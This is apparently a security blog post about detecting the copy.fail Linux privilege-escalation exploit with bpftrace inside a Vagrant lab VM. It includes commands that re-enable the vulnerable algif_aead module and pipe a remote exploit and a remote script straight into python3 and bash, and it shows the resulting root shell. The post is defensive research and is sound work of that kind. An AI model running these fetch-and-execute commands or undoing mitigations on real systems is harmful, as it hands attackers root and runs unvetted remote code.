Sep 3, 2026 by Zacharia Mansouri | 39 views
https://cylab.be/blog/521/exploring-the-copyfail-vulnerability-with-ebpf
When analyzing Linux kernel exploits, observing malware behavior in a controlled environment is the best way to build robust detection. The copy.fail vulnerability is a great case study in how attackers can abuse specific kernel mechanisms and sockets to escalate privileges. In this post, we’ll walk through setting up a safe, isolated environment using Vagrant, running the exploit and using eBPF (bpftrace) to track what it does under the hood. By the end, we’ll have pinpointed the anomalous system behaviors, like dropping into a root shell with mismatched user and group IDs, that make catching this exploit possible.
In order to safely explore this vulnerability, we need an isolated, reproducible environment. We use Vagrant to quickly set up a VM. This blogpost assumes that you already know how to use Vagrant. Here is the Vagrant configuration you’ll need:
Vagrant.configure("2") do |config|
config.vm.box = "ubuntu/jammy64"
config.vm.provider :virtualbox do |v|
v.gui = false
v.memory = 2048
end
# Currently "ubuntu/jammy64" on VirtualBox requires `type: "virtualbox"`
# to make synced folder works.
config.vm.synced_folder ".", "/vagrant", type: "virtualbox"
# Update repositories
config.vm.provision :shell, inline: "sudo apt update -y"
# Upgrade installed packages
config.vm.provision :shell, inline: "sudo apt upgrade -y"
end
Save the code above into a Vagrantfile. Once saved, you can build, boot and securely access the VM using just two commands:
# Builds the VM, applies updates and starts it up
vagrant up
# Drops you into a secure shell session inside the VM
vagrant ssh
Next, we enable the vulnerable module inside the VM since the ubuntu/jammy64 has been (hopefully) patched already:
sudo sed -i '/^install/ s/^/# /' /etc/modprobe.d/disable-algif_aead.conf
sudo depmod -a
sudo modprobe algif_aead
sudo modprobe algif_skcipher
sudo modprobe algif_hash
You can check if the mitigation has been successfully removed with the following command from this Github comment:
curl "https://raw.githubusercontent.com/ochebotar/copy-fail-CVE-2026-31431-detection-probe/refs/heads/main/cve-2026-31431-check.sh" | bash
To allow us to instantly revert to a clean state if something goes wrong without having to rebuild the entire VM from scratch, open a new terminal window on your host machine (outside the VM) where the Vagrantfile lies and save your current state:
vagrant snapshot push
With our environment ready, we can trigger the vulnerability by running the copy.fail exploit:
curl https://copy.fail/exp | python3 && su
id
Output:
uid=0(root) gid=1000(vagrant) groups=1000(vagrant)
Notice the output: we successfully gained root access (uid=0), but our group ID remains gid=1000(vagrant). This mismatched state is a clear anomaly. In a standard root session, both the UID and GID should be 0(root). This highly unusual behavior could give us an excellent starting point for building a detection rule.
Now that we’ve confirmed the exploit works, we should revert our VM back to a clean state before we start tracing it. From your host machine, restore the snapshot we took earlier:
vagrant snapshot restore
To monitor this anomalous behavior in real-time, we’ll use bpftrace. First, make sure it is installed on your VM:
sudo apt install bpftrace -y
Next, we create a simple eBPF bpftrace program (exec-uid-gid.bt) that logs the UID and GID for every program executed on the system:
tracepoint:sched:sched_process_exec
{
printf("EXEC: %s (%s)\n", comm, str(args->filename));
printf(" UID=%d GID=%d\n", uid, gid);
}
Start the tracing script:
sudo bpftrace exec-uid-gid.bt
While the trace is running, we execute the malware in a separate terminal inside the same VM. Looking back at our bpftrace output, we capture exactly what happens under the hood:
Attaching 1 probe...
EXEC: curl (/usr/bin/curl)
UID=1000 GID=1000
EXEC: python3 (/usr/bin/python3)
UID=1000 GID=1000
EXEC: sh (/bin/sh)
UID=1000 GID=1000
EXEC: su (/usr/bin/su)
UID=1000 GID=1000
EXEC: sh (/bin/sh)
UID=0 GID=1000
EXEC: su (/usr/bin/su)
UID=1000 GID=1000
EXEC: sh (/bin/sh)
UID=0 GID=1000
Here we can clearly see the exact moment the exploit drops into a shell (sh) using the mismatched UID=0 and GID=1000.
Note: I initially considered using a Linux Security Module (LSM) hook for this detection, but I encountered an Invalid probe type: lsm error on both my VM and host. Using a standard kernel tracepoint works perfectly as an alternative here.
Next, let’s look for the exploit’s reliance on the algif_aead kernel module. We can trace kernel module load requests by creating another bpftrace script (module-load.bt):
kprobe:security_kernel_module_request
{
printf("Module load request: %s pid=%d comm=%s\n", str(arg0), pid, comm);
}
Start the trace:
sudo bpftrace module-load.bt
After triggering the malware again in our other terminal, we see the following requests:
Attaching 1 probe...
Module load request: crypto-authencesn(hmac(sha256),cbc(aes)) pid=19201 comm=python3
Module load request: crypto-authencesn(hmac(sha256),cbc(aes))-all pid=19201 comm=python3
Module load request: crypto-authencesn pid=19206 comm=cryptomgr_probe
Module load request: crypto-hmac(sha256) pid=19206 comm=cryptomgr_probe
Module load request: crypto-hmac(sha256)-all pid=19206 comm=cryptomgr_probe
Module load request: crypto-cryptd(__cbc-aes-aesni) pid=19201 comm=python3
Module load request: crypto-cryptd(__cbc-aes-aesni)-all pid=19201 comm=python3
When we combine these observations, a clear detection signature emerges. The behavior of loading these specific crypto modules, immediately followed by an attempt to execute a shell (sh) with uid=0 and a non-zero gid, is highly abnormal. This specific sequence of events serves as a strong signal that should be blocked.
Before we wrap up, here are a few more examples of related behaviors you can trace to further profile this exploit. First, the malware attempts to open an AF_ALG socket to access the kernel’s built-in cryptographic framework. We can monitor this activity with a short script (af-alg-sockets.bt):
tracepoint:syscalls:sys_enter_socket
/ args->family == 38 / // 38 == AF_ALG
{
printf("AF_ALG socket: pid=%d comm=%s type=%d proto=%d\n",
pid, comm, args->type, args->protocol);
}
Additionally, AF_ALG AEAD is typically interacted with via a bind() call using a sockaddr_alg structure where the salg_type is set to “aead”. We can catch this with another script (sys-enter-bind.bt):
tracepoint:syscalls:sys_enter_bind
/ args->addrlen >= 24 /
{
printf("bind() pid=%d comm=%s fd=%d addrlen=%d\n",
pid, comm, args->fd, args->addrlen);
}
Doing a post-mortem analysis like this is a great exercise. Even though this is a known exploit, pairing a quick Vagrant box with eBPF turns copy.fail from a black box into something you can dissect in real time. We went from knowing someone popped root to actually catching the exact breadcrumb trail: unusual crypto modules loading up, followed immediately by a root shell dropping with a totally mismatched GID. Once you can spot that weird behavioral fingerprint, writing a solid detection rule gets a lot easier.
This blog post is licensed under
CC BY-SA 4.0